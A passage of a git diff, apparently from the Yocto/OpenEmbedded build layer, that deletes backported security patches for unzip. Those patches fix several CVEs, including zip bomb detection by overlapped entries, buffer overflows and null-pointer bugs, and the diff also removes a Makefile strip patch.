14
15diff --git a/crypt.c b/crypt.c
16index 784e411..a8975f2 100644
17--- a/crypt.c
18+++ b/crypt.c
19@@ -465,7 +465,17 @@ int decrypt(__G__ passwrd)
20 GLOBAL(pInfo->encrypted) = FALSE;
21 defer_leftover_input(__G);
22 for (n = 0; n < RAND_HEAD_LEN; n++) {
23- b = NEXTBYTE;
24+ /* 2012-11-23 SMS. (OUSPG report.)
25+ * Quit early if compressed size < HEAD_LEN. The resulting
26+ * error message ("unable to get password") could be improved,
27+ * but it's better than trying to read nonexistent data, and
28+ * then continuing with a negative G.csize. (See
29+ * fileio.c:readbyte()).
30+ */
31+ if ((b = NEXTBYTE) == (ush)EOF)
32+ {
33+ return PK_ERR;
34+ }
35 h[n] = (uch)b;
36 Trace((stdout, " (%02x)", h[n]));
37 }
38--
392.4.6
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2015-7697.patch b/meta/recipes-extended/unzip/unzip/CVE-2015-7697.patch
deleted file mode 100644
index a8f293674b..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2015-7697.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1Upstream-Status: Backport
2CVE: CVE-2015-7697
3Signed-off-by: Tudor Florea <tudor.flore@enea.com>
4
5From bd8a743ee0a77e65ad07ef4196c4cd366add3f26 Mon Sep 17 00:00:00 2001
6From: Kamil Dudka <kdudka@redhat.com>
7Date: Mon, 14 Sep 2015 18:24:56 +0200
8Subject: [PATCH 2/2] fix infinite loop when extracting empty bzip2 data
9
10---
11 extract.c | 6 ++++++
12 1 file changed, 6 insertions(+)
13
14diff --git a/extract.c b/extract.c
15index 7134bfe..29db027 100644
16--- a/extract.c
17+++ b/extract.c
18@@ -2733,6 +2733,12 @@ __GDEF
19 int repeated_buf_err;
20 bz_stream bstrm;
21
22+ if (G.incnt <= 0 && G.csize <= 0L) {
23+ /* avoid an infinite loop */
24+ Trace((stderr, "UZbunzip2() got empty input\n"));
25+ return 2;
26+ }
27+
28 #if (defined(DLL) && !defined(NO_SLIDE_REDIR))
29 if (G.redirect_slide)
30 wsize = G.redirect_size, redirSlide = G.redirect_buffer;
31--
322.4.6
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2018-18384.patch b/meta/recipes-extended/unzip/unzip/CVE-2018-18384.patch
deleted file mode 100644
index cc9e2c1ea1..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2018-18384.patch
+++ /dev/null
@@ -1,39 +0,0 @@
1Upstream-Status: Backport [https://sourceforge.net/p/infozip/bugs/53/]
2CVE: CVE-2018-18384
3Signed-off-by: Changqing Li <changqing.li@windriver.com>
4
5--- unzip60/list.c
6+++ unzip60/list.c
7@@ -97,7 +97,7 @@ int list_files(__G) /* return PK-type
8 {
9 int do_this_file=FALSE, cfactor, error, error_in_archive=PK_COOL;
10 #ifndef WINDLL
11- char sgn, cfactorstr[10];
12+ char sgn, cfactorstr[1+10+1+1]; /* <sgn><int>%NUL */
13 int longhdr=(uO.vflag>1);
14 #endif
15 int date_format;
16@@ -389,9 +389,9 @@ int list_files(__G) /* return PK-type
17 }
18 #else /* !WINDLL */
19 if (cfactor == 100)
20- sprintf(cfactorstr, LoadFarString(CompFactor100));
21+ snprintf(cfactorstr, sizeof(cfactorstr), LoadFarString(CompFactor100));
22 else
23- sprintf(cfactorstr, LoadFarString(CompFactorStr), sgn, cfactor);
24+ snprintf(cfactorstr, sizeof(cfactorstr), LoadFarString(CompFactorStr), sgn, cfactor);
25 if (longhdr)
26 Info(slide, 0, ((char *)slide, LoadFarString(LongHdrStats),
27 FmZofft(G.crec.ucsize, "8", "u"), methbuf,
28@@ -471,9 +471,9 @@ int list_files(__G) /* return PK-type
29
30 #else /* !WINDLL */
31 if (cfactor == 100)
32- sprintf(cfactorstr, LoadFarString(CompFactor100));
33+ snprintf(cfactorstr, sizeof(cfactorstr), LoadFarString(CompFactor100));
34 else
35- sprintf(cfactorstr, LoadFarString(CompFactorStr), sgn, cfactor);
36+ snprintf(cfactorstr, sizeof(cfactorstr), LoadFarString(CompFactorStr), sgn, cfactor);
37 if (longhdr) {
38 Info(slide, 0, ((char *)slide, LoadFarString(LongFileTrailer),
39 FmZofft(tot_ucsize, "8", "u"), FmZofft(tot_csize, "8", "u"),
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p1.patch b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p1.patch
deleted file mode 100644
index d485a1bd6e..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p1.patch
+++ /dev/null
@@ -1,33 +0,0 @@
1From 080d52c3c9416c731f637f9c6e003961ef43f079 Mon Sep 17 00:00:00 2001
2From: Mark Adler <madler@alumni.caltech.edu>
3Date: Mon, 27 May 2019 08:20:32 -0700
4Subject: [PATCH 1/3] Fix bug in undefer_input() that misplaced the input
5 state.
6
7CVE: CVE-2019-13232
8Upstream-Status: Backport
9[https://github.com/madler/unzip/commit/41beb477c5744bc396fa1162ee0c14218ec12213]
10
11Signed-off-by: Dan Tran <dantran@microsoft.com>
12---
13 fileio.c | 4 +++-
14 1 file changed, 3 insertions(+), 1 deletion(-)
15
16diff --git a/fileio.c b/fileio.c
17index 7605a29..14460f3 100644
18--- a/fileio.c
19+++ b/fileio.c
20@@ -532,8 +532,10 @@ void undefer_input(__G)
21 * This condition was checked when G.incnt_leftover was set > 0 in
22 * defer_leftover_input(), and it is NOT allowed to touch G.csize
23 * before calling undefer_input() when (G.incnt_leftover > 0)
24- * (single exception: see read_byte()'s "G.csize <= 0" handling) !!
25+ * (single exception: see readbyte()'s "G.csize <= 0" handling) !!
26 */
27+ if (G.csize < 0L)
28+ G.csize = 0L;
29 G.incnt = G.incnt_leftover + (int)G.csize;
30 G.inptr = G.inptr_leftover - (int)G.csize;
31 G.incnt_leftover = 0;
32--
332.22.0.vfs.1.1.57.gbaf16c8
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p2.patch b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p2.patch
deleted file mode 100644
index 41037a8e24..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p2.patch
+++ /dev/null
@@ -1,356 +0,0 @@
1From 1aae47fa8935654a84403768f32c03ecbb1be470 Mon Sep 17 00:00:00 2001
2From: Mark Adler <madler@alumni.caltech.edu>
3Date: Tue, 11 Jun 2019 22:01:18 -0700
4Subject: [PATCH 2/3] Detect and reject a zip bomb using overlapped entries.
5
6This detects an invalid zip file that has at least one entry that
7overlaps with another entry or with the central directory to the
8end of the file. A Fifield zip bomb uses overlapped local entries
9to vastly increase the potential inflation ratio. Such an invalid
10zip file is rejected.
11
12See https://www.bamsoftware.com/hacks/zipbomb/ for David Fifield's
13analysis, construction, and examples of such zip bombs.
14
15The detection maintains a list of covered spans of the zip files
16so far, where the central directory to the end of the file and any
17bytes preceding the first entry at zip file offset zero are
18considered covered initially. Then as each entry is decompressed
19or tested, it is considered covered. When a new entry is about to
20be processed, its initial offset is checked to see if it is
21contained by a covered span. If so, the zip file is rejected as
22invalid.
23
24This commit depends on a preceding commit: "Fix bug in
25undefer_input() that misplaced the input state."
26
27CVE: CVE-2019-13232
28Upstream-Status: Backport
29[https://github.com/madler/unzip/commit/47b3ceae397d21bf822bc2ac73052a4b1daf8e1c]
30
31Signed-off-by: Dan Tran <dantran@microsoft.com>
32---
33 extract.c | 190 +++++++++++++++++++++++++++++++++++++++++++++++++++++-
34 globals.c | 1 +
35 globals.h | 3 +
36 process.c | 10 +++
37 unzip.h | 1 +
38 5 files changed, 204 insertions(+), 1 deletion(-)
39
40diff --git a/extract.c b/extract.c
41index 24db2a8..2bb72ba 100644
42--- a/extract.c
43+++ b/extract.c
44@@ -321,6 +321,125 @@ static ZCONST char Far UnsupportedExtraField[] =
45 "\nerror: unsupported extra-field compression type (%u)--skipping\n";
46 static ZCONST char Far BadExtraFieldCRC[] =
47 "error [%s]: bad extra-field CRC %08lx (should be %08lx)\n";
48+static ZCONST char Far NotEnoughMemCover[] =
49+ "error: not enough memory for bomb detection\n";
50+static ZCONST char Far OverlappedComponents[] =
51+ "error: invalid zip file with overlapped components (possible zip bomb)\n";
52+
53+
54+
55+
56+
57+/* A growable list of spans. */
58+typedef zoff_t bound_t;
59+typedef struct {
60+ bound_t beg; /* start of the span */
61+ bound_t end; /* one past the end of the span */
62+} span_t;
63+typedef struct {
64+ span_t *span; /* allocated, distinct, and sorted list of spans */
65+ size_t num; /* number of spans in the list */
66+ size_t max; /* allocated number of spans (num <= max) */
67+} cover_t;
68+
69+/*
70+ * Return the index of the first span in cover whose beg is greater than val.
71+ * If there is no such span, then cover->num is returned.
72+ */
73+static size_t cover_find(cover, val)
74+ cover_t *cover;
75+ bound_t val;
76+{
77+ size_t lo = 0, hi = cover->num;
78+ while (lo < hi) {
79+ size_t mid = (lo + hi) >> 1;
80+ if (val < cover->span[mid].beg)
81+ hi = mid;
82+ else
83+ lo = mid + 1;
84+ }
85+ return hi;
86+}
87+
88+/* Return true if val lies within any one of the spans in cover. */
89+static int cover_within(cover, val)
90+ cover_t *cover;
91+ bound_t val;
92+{
93+ size_t pos = cover_find(cover, val);
94+ return pos > 0 && val < cover->span[pos - 1].end;
95+}
96+
97+/*
98+ * Add a new span to the list, but only if the new span does not overlap any
99+ * spans already in the list. The new span covers the values beg..end-1. beg
100+ * must be less than end.
101+ *
102+ * Keep the list sorted and merge adjacent spans. Grow the allocated space for
103+ * the list as needed. On success, 0 is returned. If the new span overlaps any
104+ * existing spans, then 1 is returned and the new span is not added to the
105+ * list. If the new span is invalid because beg is greater than or equal to
106+ * end, then -1 is returned. If the list needs to be grown but the memory
107+ * allocation fails, then -2 is returned.
108+ */
109+static int cover_add(cover, beg, end)
110+ cover_t *cover;
111+ bound_t beg;
112+ bound_t end;
113+{
114+ size_t pos;
115+ int prec, foll;
116+
117+ if (beg >= end)
118+ /* The new span is invalid. */
119+ return -1;
120+
121+ /* Find where the new span should go, and make sure that it does not
122+ overlap with any existing spans. */
123+ pos = cover_find(cover, beg);
124+ if ((pos > 0 && beg < cover->span[pos - 1].end) ||
125+ (pos < cover->num && end > cover->span[pos].beg))
126+ return 1;
127+
128+ /* Check for adjacencies. */
129+ prec = pos > 0 && beg == cover->span[pos - 1].end;
130+ foll = pos < cover->num && end == cover->span[pos].beg;
131+ if (prec && foll) {
132+ /* The new span connects the preceding and following spans. Merge the
133+ following span into the preceding span, and delete the following
134+ span. */
135+ cover->span[pos - 1].end = cover->span[pos].end;
136+ cover->num--;
137+ memmove(cover->span + pos, cover->span + pos + 1,
138+ (cover->num - pos) * sizeof(span_t));
139+ }
140+ else if (prec)
141+ /* The new span is adjacent only to the preceding span. Extend the end
142+ of the preceding span. */
143+ cover->span[pos - 1].end = end;
144+ else if (foll)
145+ /* The new span is adjacent only to the following span. Extend the
146+ beginning of the following span. */
147+ cover->span[pos].beg = beg;
148+ else {
149+ /* The new span has gaps between both the preceding and the following
150+ spans. Assure that there is room and insert the span. */
151+ if (cover->num == cover->max) {
152+ size_t max = cover->max == 0 ? 16 : cover->max << 1;
153+ span_t *span = realloc(cover->span, max * sizeof(span_t));
154+ if (span == NULL)
155+ return -2;
156+ cover->span = span;
157+ cover->max = max;
158+ }
159+ memmove(cover->span + pos + 1, cover->span + pos,
160+ (cover->num - pos) * sizeof(span_t));
161+ cover->num++;
162+ cover->span[pos].beg = beg;
163+ cover->span[pos].end = end;
164+ }
165+ return 0;
166+}
167
168
169
170@@ -376,6 +495,29 @@ int extract_or_test_files(__G) /* return PK-type error code */
171 }
172 #endif /* !SFX || SFX_EXDIR */
173
174+ /* One more: initialize cover structure for bomb detection. Start with a
175+ span that covers the central directory though the end of the file. */
176+ if (G.cover == NULL) {
177+ G.cover = malloc(sizeof(cover_t));
178+ if (G.cover == NULL) {
179+ Info(slide, 0x401, ((char *)slide,
180+ LoadFarString(NotEnoughMemCover)));
181+ return PK_MEM;
182+ }
183+ ((cover_t *)G.cover)->span = NULL;
184+ ((cover_t *)G.cover)->max = 0;
185+ }
186+ ((cover_t *)G.cover)->num = 0;
187+ if ((G.extra_bytes != 0 &&
188+ cover_add((cover_t *)G.cover, 0, G.extra_bytes) != 0) ||
189+ cover_add((cover_t *)G.cover,
190+ G.extra_bytes + G.ecrec.offset_start_central_directory,
191+ G.ziplen) != 0) {
192+ Info(slide, 0x401, ((char *)slide,
193+ LoadFarString(NotEnoughMemCover)));
194+ return PK_MEM;
195+ }
196+
197 /*---------------------------------------------------------------------------
198 The basic idea of this function is as follows. Since the central di-
199 rectory lies at the end of the zipfile and the member files lie at the
200@@ -593,7 +735,8 @@ int extract_or_test_files(__G) /* return PK-type error code */
201 if (error > error_in_archive)
202 error_in_archive = error;
203 /* ...and keep going (unless disk full or user break) */
204- if (G.disk_full > 1 || error_in_archive == IZ_CTRLC) {
205+ if (G.disk_full > 1 || error_in_archive == IZ_CTRLC ||
206+ error == PK_BOMB) {
207 /* clear reached_end to signal premature stop ... */
208 reached_end = FALSE;
209 /* ... and cancel scanning the central directory */
210@@ -1062,6 +1205,11 @@ static int extract_or_test_entrylist(__G__ numchunk,
211
212 /* seek_zipf(__G__ pInfo->offset); */
213 request = G.pInfo->offset + G.extra_bytes;
214+ if (cover_within((cover_t *)G.cover, request)) {
215+ Info(slide, 0x401, ((char *)slide,
216+ LoadFarString(OverlappedComponents)));
217+ return PK_BOMB;
218+ }
219 inbuf_offset = request % INBUFSIZ;
220 bufstart = request - inbuf_offset;
221
222@@ -1593,6 +1741,18 @@ reprompt:
223 return IZ_CTRLC; /* cancel operation by user request */
224 }
225 #endif
226+ error = cover_add((cover_t *)G.cover, request,
227+ G.cur_zipfile_bufstart + (G.inptr - G.inbuf));
228+ if (error < 0) {
229+ Info(slide, 0x401, ((char *)slide,
230+ LoadFarString(NotEnoughMemCover)));
231+ return PK_MEM;
232+ }
233+ if (error != 0) {
234+ Info(slide, 0x401, ((char *)slide,
235+ LoadFarString(OverlappedComponents)));
236+ return PK_BOMB;
237+ }
238 #ifdef MACOS /* MacOS is no preemptive OS, thus call event-handling by hand */
239 UserStop();
240 #endif
241@@ -1994,6 +2154,34 @@ static int extract_or_test_member(__G) /* return PK-type error code */
242 }
243
244 undefer_input(__G);
245+
246+ if ((G.lrec.general_purpose_bit_flag & 8) != 0) {
247+ /* skip over data descriptor (harder than it sounds, due to signature
248+ * ambiguity)
249+ */
250+# define SIG 0x08074b50
251+# define LOW 0xffffffff
252+ uch buf[12];
253+ unsigned shy = 12 - readbuf((char *)buf, 12);
254+ ulg crc = shy ? 0 : makelong(buf);
255+ ulg clen = shy ? 0 : makelong(buf + 4);
256+ ulg ulen = shy ? 0 : makelong(buf + 8); /* or high clen if ZIP64 */
257+ if (crc == SIG && /* if not SIG, no signature */
258+ (G.lrec.crc32 != SIG || /* if not SIG, have signature */
259+ (clen == SIG && /* if not SIG, no signature */
260+ ((G.lrec.csize & LOW) != SIG || /* if not SIG, have signature */
261+ (ulen == SIG && /* if not SIG, no signature */
262+ (G.zip64 ? G.lrec.csize >> 32 : G.lrec.ucsize) != SIG
263+ /* if not SIG, have signature */
264+ )))))
265+ /* skip four more bytes to account for signature */
266+ shy += 4 - readbuf((char *)buf, 4);
267+ if (G.zip64)
268+ shy += 8 - readbuf((char *)buf, 8); /* skip eight more for ZIP64 */
269+ if (shy)
270+ error = PK_ERR;
271+ }
272+
273 return error;
274
275 } /* end function extract_or_test_member() */
276diff --git a/globals.c b/globals.c
277index fa8cca5..1e0f608 100644
278--- a/globals.c
279+++ b/globals.c
280@@ -181,6 +181,7 @@ Uz_Globs *globalsCtor()
281 # if (!defined(NO_TIMESTAMPS))
282 uO.D_flag=1; /* default to '-D', no restoration of dir timestamps */
283 # endif
284+ G.cover = NULL; /* not allocated yet */
285 #endif
286
287 uO.lflag=(-1);
288diff --git a/globals.h b/globals.h
289index 11b7215..2bdcdeb 100644
290--- a/globals.h
291+++ b/globals.h
292@@ -260,12 +260,15 @@ typedef struct Globals {
293 ecdir_rec ecrec; /* used in unzip.c, extract.c */
294 z_stat statbuf; /* used by main, mapname, check_for_newer */
295
296+ int zip64; /* true if Zip64 info in extra field */
297+
298 int mem_mode;
299 uch *outbufptr; /* extract.c static */
300 ulg outsize; /* extract.c static */
301 int reported_backslash; /* extract.c static */
302 int disk_full;
303 int newfile;
304+ void **cover; /* used in extract.c for bomb detection */
305
306 int didCRlast; /* fileio static */
307 ulg numlines; /* fileio static: number of lines printed */
308diff --git a/process.c b/process.c
309index a3c1a4d..208619c 100644
310--- a/process.c
311+++ b/process.c
312@@ -637,6 +637,13 @@ void free_G_buffers(__G) /* releases all memory allocated in global vars */
313 }
314 #endif
315
316+ /* Free the cover span list and the cover structure. */
317+ if (G.cover != NULL) {
318+ free(*(G.cover));
319+ free(G.cover);
320+ G.cover = NULL;
321+ }
322+
323 } /* end function free_G_buffers() */
324
325
326@@ -1905,6 +1912,7 @@ int getZip64Data(__G__ ef_buf, ef_len)
327
328 #define Z64FLGS 0xffff
329 #define Z64FLGL 0xffffffff
330+ G.zip64 = FALSE;
331
332 if (ef_len == 0 || ef_buf == NULL)
333 return PK_COOL;
334@@ -1964,6 +1972,8 @@ int getZip64Data(__G__ ef_buf, ef_len)
335 G.crec.disk_number_start = (zuvl_t)makelong(offset + ef_buf);
336 offset += 4;
337 }
338+
339+ G.zip64 = TRUE;
340 #if 0
341 break; /* Expect only one EF_PKSZ64 block. */
342 #endif /* 0 */
343diff --git a/unzip.h b/unzip.h
344index 5b2a326..ed24a5b 100644
345--- a/unzip.h
346+++ b/unzip.h
347@@ -645,6 +645,7 @@ typedef struct _Uzp_cdir_Rec {
348 #define PK_NOZIP 9 /* zipfile not found */
349 #define PK_PARAM 10 /* bad or illegal parameters specified */
350 #define PK_FIND 11 /* no files found */
351+#define PK_BOMB 12 /* likely zip bomb */
352 #define PK_DISK 50 /* disk full */
353 #define PK_EOF 51 /* unexpected EOF */
354
355--
3562.22.0.vfs.1.1.57.gbaf16c8
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p3.patch b/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p3.patch
deleted file mode 100644
index fd26fdd833..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2019-13232_p3.patch
+++ /dev/null
@@ -1,121 +0,0 @@
1From be88aa4811af47ca06d8b7dcda294f899eba70ea Mon Sep 17 00:00:00 2001
2From: Mark Adler <madler@alumni.caltech.edu>
3Date: Thu, 25 Jul 2019 20:43:17 -0700
4Subject: [PATCH 3/3] Do not raise a zip bomb alert for a misplaced central
5 directory.
6
7There is a zip-like file in the Firefox distribution, omni.ja,
8which is a zip container with the central directory placed at the
9start of the file instead of after the local entries as required
10by the zip standard. This commit marks the actual location of the
11central directory, as well as the end of central directory records,
12as disallowed locations. This now permits such containers to not
13raise a zip bomb alert, where in fact there are no overlaps.
14
15CVE: CVE-2019-13232
16Upstream-Status: Backport
17[https://github.com/madler/unzip/commit/6d351831be705cc26d897db44f878a978f4138fc]
18
19Signed-off-by: Dan Tran <dantran@microsoft.com>
20---
21 extract.c | 25 +++++++++++++++++++------
22 process.c | 6 ++++++
23 unzpriv.h | 10 ++++++++++
24 3 files changed, 35 insertions(+), 6 deletions(-)
25
26diff --git a/extract.c b/extract.c
27index 2bb72ba..a9dcca8 100644
28--- a/extract.c
29+++ b/extract.c
30@@ -495,8 +495,11 @@ int extract_or_test_files(__G) /* return PK-type error code */
31 }
32 #endif /* !SFX || SFX_EXDIR */
33
34- /* One more: initialize cover structure for bomb detection. Start with a
35- span that covers the central directory though the end of the file. */
36+ /* One more: initialize cover structure for bomb detection. Start with
37+ spans that cover any extra bytes at the start, the central directory,
38+ the end of central directory record (including the Zip64 end of central
39+ directory locator, if present), and the Zip64 end of central directory
40+ record, if present. */
41 if (G.cover == NULL) {
42 G.cover = malloc(sizeof(cover_t));
43 if (G.cover == NULL) {
44@@ -508,15 +511,25 @@ int extract_or_test_files(__G) /* return PK-type error code */
45 ((cover_t *)G.cover)->max = 0;
46 }
47 ((cover_t *)G.cover)->num = 0;
48- if ((G.extra_bytes != 0 &&
49- cover_add((cover_t *)G.cover, 0, G.extra_bytes) != 0) ||
50- cover_add((cover_t *)G.cover,
51+ if (cover_add((cover_t *)G.cover,
52 G.extra_bytes + G.ecrec.offset_start_central_directory,
53- G.ziplen) != 0) {
54+ G.extra_bytes + G.ecrec.offset_start_central_directory +
55+ G.ecrec.size_central_directory) != 0) {
56 Info(slide, 0x401, ((char *)slide,
57 LoadFarString(NotEnoughMemCover)));
58 return PK_MEM;
59 }
60+ if ((G.extra_bytes != 0 &&
61+ cover_add((cover_t *)G.cover, 0, G.extra_bytes) != 0) ||
62+ (G.ecrec.have_ecr64 &&
63+ cover_add((cover_t *)G.cover, G.ecrec.ec64_start,
64+ G.ecrec.ec64_end) != 0) ||
65+ cover_add((cover_t *)G.cover, G.ecrec.ec_start,
66+ G.ecrec.ec_end) != 0) {
67+ Info(slide, 0x401, ((char *)slide,
68+ LoadFarString(OverlappedComponents)));
69+ return PK_BOMB;
70+ }
71
72 /*---------------------------------------------------------------------------
73 The basic idea of this function is as follows. Since the central di-
74diff --git a/process.c b/process.c
75index 208619c..5f8f6c6 100644
76--- a/process.c
77+++ b/process.c
78@@ -1408,6 +1408,10 @@ static int find_ecrec64(__G__ searchlen) /* return PK-class error */
79
80 /* Now, we are (almost) sure that we have a Zip64 archive. */
81 G.ecrec.have_ecr64 = 1;
82+ G.ecrec.ec_start -= ECLOC64_SIZE+4;
83+ G.ecrec.ec64_start = ecrec64_start_offset;
84+ G.ecrec.ec64_end = ecrec64_start_offset +
85+ 12 + makeint64(&byterec[ECREC64_LENGTH]);
86
87 /* Update the "end-of-central-dir offset" for later checks. */
88 G.real_ecrec_offset = ecrec64_start_offset;
89@@ -1542,6 +1546,8 @@ static int find_ecrec(__G__ searchlen) /* return PK-class error */
90 makelong(&byterec[OFFSET_START_CENTRAL_DIRECTORY]);
91 G.ecrec.zipfile_comment_length =
92 makeword(&byterec[ZIPFILE_COMMENT_LENGTH]);
93+ G.ecrec.ec_start = G.real_ecrec_offset;
94+ G.ecrec.ec_end = G.ecrec.ec_start + 22 + G.ecrec.zipfile_comment_length;
95
96 /* Now, we have to read the archive comment, BEFORE the file pointer
97 is moved away backwards to seek for a Zip64 ECLOC64 structure.
98diff --git a/unzpriv.h b/unzpriv.h
99index c8d3eab..5e177c7 100644
100--- a/unzpriv.h
101+++ b/unzpriv.h
102@@ -2185,6 +2185,16 @@ typedef struct VMStimbuf {
103 int have_ecr64; /* valid Zip64 ecdir-record exists */
104 int is_zip64_archive; /* Zip64 ecdir-record is mandatory */
105 ush zipfile_comment_length;
106+ zusz_t ec_start, ec_end; /* offsets of start and end of the
107+ end of central directory record,
108+ including if present the Zip64
109+ end of central directory locator,
110+ which immediately precedes the
111+ end of central directory record */
112+ zusz_t ec64_start, ec64_end; /* if have_ecr64 is true, then these
113+ are the offsets of the start and
114+ end of the Zip64 end of central
115+ directory record */
116 } ecdir_rec;
117
118
119--
1202.22.0.vfs.1.1.57.gbaf16c8
121
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch b/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
deleted file mode 100644
index c0103444fc..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch
+++ /dev/null
@@ -1,67 +0,0 @@
1From 731d698377dbd1f5b1b90efeb8094602ed59fc40 Mon Sep 17 00:00:00 2001
2From: Nils Bars <nils.bars@t-online.de>
3Date: Mon, 17 Jan 2022 16:53:16 +0000
4Subject: [PATCH] Fix null pointer dereference and use of uninitialized data
5
6This fixes a bug that causes use of uninitialized heap data if `readbuf` fails
7to read as many bytes as indicated by the extra field length attribute.
8Furthermore, this fixes a null pointer dereference if an archive contains an
9`EF_UNIPATH` extra field but does not have a filename set.
10---
11 fileio.c | 5 ++++-
12 process.c | 6 +++++-
13 2 files changed, 9 insertions(+), 2 deletions(-)
14---
15
16Patch from:
17https://bugs.launchpad.net/ubuntu/+source/unzip/+bug/1957077
18https://launchpadlibrarian.net/580782282/0001-Fix-null-pointer-dereference-and-use-of-uninitialized-data.patch
19Regenerated to apply without offsets.
20
21CVE: CVE-2021-4217
22
23Upstream-Status: Inactive-Upstream [infozip upstream inactive]
24
25Signed-off-by: Joe Slater <joe.slater@windriver.com>
26
27
28diff --git a/fileio.c b/fileio.c
29index 14460f3..1dc319e 100644
30--- a/fileio.c
31+++ b/fileio.c
32@@ -2301,8 +2301,11 @@ int do_string(__G__ length, option) /* return PK-type error code */
33 seek_zipf(__G__ G.cur_zipfile_bufstart - G.extra_bytes +
34 (G.inptr-G.inbuf) + length);
35 } else {
36- if (readbuf(__G__ (char *)G.extra_field, length) == 0)
37+ unsigned bytes_read = readbuf(__G__ (char *)G.extra_field, length);
38+ if (bytes_read == 0)
39 return PK_EOF;
40+ if (bytes_read != length)
41+ return PK_ERR;
42 /* Looks like here is where extra fields are read */
43 if (getZip64Data(__G__ G.extra_field, length) != PK_COOL)
44 {
45diff --git a/process.c b/process.c
46index 5f8f6c6..de843a5 100644
47--- a/process.c
48+++ b/process.c
49@@ -2058,10 +2058,14 @@ int getUnicodeData(__G__ ef_buf, ef_len)
50 G.unipath_checksum = makelong(offset + ef_buf);
51 offset += 4;
52
53+ if (!G.filename_full) {
54+ /* Check if we have a unicode extra section but no filename set */
55+ return PK_ERR;
56+ }
57+
58 /*
59 * Compute 32-bit crc
60 */
61-
62 chksum = crc32(chksum, (uch *)(G.filename_full),
63 strlen(G.filename_full));
64
65--
662.32.0
67
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
deleted file mode 100644
index 1c1e120deb..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch
+++ /dev/null
@@ -1,39 +0,0 @@
1https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
2
3CVE: CVE-2022-0529
4Upstream-Status: Inactive-Upstream [need a new release]
5
6diff --git a/process.c b/process.c
7index d2a846e..99b9c7b 100644
8--- a/process.c
9+++ b/process.c
10@@ -2507,13 +2507,15 @@ char *wide_to_local_string(wide_string, escape_all)
11 char buf[9];
12 char *buffer = NULL;
13 char *local_string = NULL;
14+ size_t buffer_size;
15
16 for (wsize = 0; wide_string[wsize]; wsize++) ;
17
18 if (max_bytes < MAX_ESCAPE_BYTES)
19 max_bytes = MAX_ESCAPE_BYTES;
20
21- if ((buffer = (char *)malloc(wsize * max_bytes + 1)) == NULL) {
22+ buffer_size = wsize * max_bytes + 1;
23+ if ((buffer = (char *)malloc(buffer_size)) == NULL) {
24 return NULL;
25 }
26
27@@ -2552,7 +2554,11 @@ char *wide_to_local_string(wide_string, escape_all)
28 /* no MB for this wide */
29 /* use escape for wide character */
30 char *escape_string = wide_to_escape_string(wide_string[i]);
31- strcat(buffer, escape_string);
32+ size_t buffer_len = strlen(buffer);
33+ size_t escape_string_len = strlen(escape_string);
34+ if (buffer_len + escape_string_len + 1 > buffer_size)
35+ escape_string_len = buffer_size - buffer_len - 1;
36+ strncat(buffer, escape_string, escape_string_len);
37 free(escape_string);
38 }
39 }
diff --git a/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
deleted file mode 100644
index 363dafddc9..0000000000
--- a/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
+++ /dev/null
@@ -1,33 +0,0 @@
1https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
2
3CVE: CVE-2022-0530
4Upstream-Status: Inactive-Upstream [need a new release]
5
6diff --git a/fileio.c b/fileio.c
7index 6290824..77e4b5f 100644
8--- a/fileio.c
9+++ b/fileio.c
10@@ -2361,6 +2361,9 @@ int do_string(__G__ length, option) /* return PK-type error code */
11 /* convert UTF-8 to local character set */
12 fn = utf8_to_local_string(G.unipath_filename,
13 G.unicode_escape_all);
14+ if (fn == NULL)
15+ return PK_ERR;
16+
17 /* make sure filename is short enough */
18 if (strlen(fn) >= FILNAMSIZ) {
19 fn[FILNAMSIZ - 1] = '\0';
20diff --git a/process.c b/process.c
21index d2a846e..715bc0f 100644
22--- a/process.c
23+++ b/process.c
24@@ -2605,6 +2605,8 @@ char *utf8_to_local_string(utf8_string, escape_all)
25 int escape_all;
26 {
27 zwchar *wide = utf8_to_wide_string(utf8_string);
28+ if (wide == NULL)
29+ return NULL;
30 char *loc = wide_to_local_string(wide, escape_all);
31 free(wide);
32 return loc;
33
diff --git a/meta/recipes-extended/unzip/unzip/avoid-strip.patch b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
deleted file mode 100644
index 70bedc8381..0000000000
--- a/meta/recipes-extended/unzip/unzip/avoid-strip.patch
+++ /dev/null
@@ -1,50 +0,0 @@
1Upstream-Status: Inactive-Upstream [need a new release]
2
3unix/Makefile: remove hard coded strip commands
4
5Remove the hard coded strip commands, both LF2 (used in linking) and
6STRIP used alone.
7
8Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
9
10diff -ur unzip60.orig/unix/configure unzip60/unix/configure
11--- unzip60.orig/unix/configure 2009-04-16 14:25:12.000000000 -0500
12+++ unzip60/unix/configure 2011-06-21 11:23:36.822849960 -0500
13@@ -17,7 +17,7 @@
14 IZ_BZIP2=${3}
15 CFLAGS="${CFLAGS} -I. -DUNIX"
16 LFLAGS1=""
17-LFLAGS2="-s"
18+LFLAGS2=""
19 LN="ln -s"
20
21 CFLAGS_OPT=''
22diff -ur unzip60.orig/unix/Makefile unzip60/unix/Makefile
